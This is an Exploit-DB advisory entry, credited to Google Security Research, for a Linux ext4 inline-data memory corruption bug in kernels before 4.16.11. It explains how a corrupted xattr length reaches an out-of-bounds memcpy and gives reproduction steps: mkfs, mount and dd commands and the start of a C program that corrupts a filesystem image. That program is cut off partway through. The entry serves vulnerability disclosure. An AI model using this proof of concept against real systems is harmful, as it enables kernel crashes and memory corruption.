Exploit-DB #44832
Description: Linux Kernel < 4.16.11 - 'ext4_read_inline_data()' Memory Corruption
Type: dos
Platform: linux
Date: 2018-06-05
Author: Google Security Research

Exploit:
ext4 can store data for small regular files as "inline data", meaning that the
data is stored inside the corresponding inode instead of in separate blocks.
Inline data is stored in two places: The first 60 bytes go in the i_block field
in the inode (which normally contains a list of blocks instead), the rest goes
in the special filesystem-internal extended attribute "system.data".

Since commit e50e5129f384 ("ext4: xattr-in-inode support", in v4.13+), ext4 can
store extended attribute values not only inline in the inode, but can also store
such values in dedicated inodes.

When a corrupted filesystem stores the system.data extended attribute value in a
dedicated inode, the kernel gets confused, causing memory corruption.



ext4_find_inline_data_nolock() attempts to locate an inode's inline data by
searching for the system.data xattr using ext4_xattr_ibody_find().
If the inode has xattrs, ext4_xattr_ibody_find() first checks them for
corruption using xattr_check_inode(), then grabs the wanted xattr using
xattr_find_entry().
xattr_check_inode() uses ext4_xattr_check_entries() to check the individual
xattrs, but skips most checks if `entry->e_value_inum != 0` (marking an xattr
whose value is in a dedicated inode) - only for inline values, length and offset
checks are performed to ensure that the value actually fits into the inode.
The problem is that ext4_find_inline_data_nolock() then assumes that the
returned xattr uses inline storage and that the returned length will fit into
the inode; it stores the length field from the xattr in
`EXT4_I(inode)->i_inline_size` without further checks.

Later, when the file is read, ext4_read_inline_data() trusts this length value,
causing an out-of-bounds memcpy() in the following line:

    memcpy(buffer,
           (void *)IFIRST(header) + le16_to_cpu(entry->e_value_offs), len);



To reproduce, on a system with kernel v4.13 or newer, ideally with KASAN on:

1. Create a new ext4 filesystem image, with 256-byte inodes and inline data
support:

    $ mkfs.ext4 -b 4096 -I 256 -O inline_data testfs.img 400k
    mke2fs 1.43.7 (16-Oct-2017)
    Creating regular file testfs.img

    Filesystem too small for a journal
    Creating filesystem with 100 4k blocks and 64 inodes

    Allocating group tables: done                            
    Writing inode tables: done                            
    Writing superblocks and filesystem accounting information: done

2. Create a 75-byte file in the new filesystem:

    $ mkdir mount
    $ sudo mount testfs.img mount
    $ sudo dd bs=75 count=1 if=/dev/zero of=mount/testfile
    1+0 records in
    1+0 records out
    75 bytes copied, 0.000811554 s, 92.4 kB/s
    $ sudo umount mount

3. Bump up the inode size, bump up the xattr size, and mark the xattr value as
   non-inline:

    $ cat fixup.c
    #include <stdint.h>
    #include <fcntl.h>
    #include <err.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/mman.h>
    #include <sys/stat.h>

    #define __le16 uint16_t
    #define __le32 uint32_t
    #define __u16 uint16_t
    #define __u32 uint32_t
    #define __u8 uint8_t

    /* some definitions from kernel headers */
    #define EXT4_NDIR_BLOCKS    12
    #define EXT4_IND_BLOCK      EXT4_NDIR_BLOCKS
    #define EXT4_DIND_BLOCK     (EXT4_IND_BLOCK + 1)
    #define EXT4_TIND_BLOCK     (EXT4_DIND_BLOCK + 1)
    #define EXT4_N_BLOCKS       (EXT4_TIND_BLOCK + 1)
    #define EXT4_XATTR_MAGIC    0xEA020000
    struct ext4_inode {
      __le16  i_mode;
      __le16  i_uid;
      __le32  i_size_lo;
      __le32  i_atime;
      __le32  i_ctime;
      __le32  i_mtime;
      __le32  i_dtime;
      __le16  i_gid;
      __le16  i_links_count;
      __le32  i_blocks_lo;
      __le32  i_flags;
      union {
        struct {
          __le32  l_i_version;
        } linux1;
      } osd1;
      __le32  i_block[EXT4_N_BLOCKS];
      __le32  i_generation;
      __le32  i_file_acl_lo;
      __le32  i_size_high;
      __le32  i_obso_faddr;
      union {
        struct {
          __le16  l_i_blocks_high;
          __le16  l_i_file_acl_high;
          __le16  l_i_uid_high;
          __le16  l_i_gid_high;
          __le16  l_i_checksum_lo;
          __le16  l_i_reserved;
        } linux2;
      } osd2;
      __le16  i_extra_isize;
      __le16  i_checksum_hi;
      __le32  i_ctime_extra;
      __le32  i_mtime_extra;
      __le32  i_atime_extra;
      __le32  i_crtime;
      __le32  i_crtime_extra;
      __le32  i_version_hi;
      __le32  i_projid;
    };
    struct ext4_xattr_ibody_header {
      __le32  h_magic;
    };
    struct ext4_xattr_entry {
      __u8  e_name_len;
      __u8  e_name_index;
      __le16  e_value_offs;
      __le32  e_value_inum;
      __le32  e_value_size;
      __le32  e_hash;
      char  e_name[0];
    };

    #define INODE_SIZE 256

    #define ROUND_UP(x,round) ( ((x)+((round)-1)) & ~((round)-1) )

    int main(int argc, char **argv) {
      char *path = argv[1];
      int fd = open(path, O_RDWR);
      if (fd == -1) err(1, "open");
      struct stat st;
      if (fstat(fd, &st)) err(1, "fstat");
      char *map = mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
      if (map == MAP_FAILED) err(1, "mmap");
      for (int i=0; i<st.st_size/INODE_SIZE; i++) {
        struct ext4_inode *ino = (void*)(map + i * INODE_SIZE);
        if (ino->i_links_count != 1 || ino->i_size_lo != 75) continue;
        printf("found inode (idx=%d, size=%u, mode=%ho)\n",
               i, ino->i_size_lo, ino->i_mode);
        ino->i_size_lo = 60000;
        printf("  i_extra_isize = %hu\n", ino->i_extra_isize);
        struct ext4_xattr_ibody_header *hdr =
            (void*)( ((char*)ino)+128+ino->i_extra_isize );
        if (hdr->h_magic != EXT4_XATTR_MAGIC) continue;
        struct ext4_xattr_entry *entry = (void*)(hdr+1);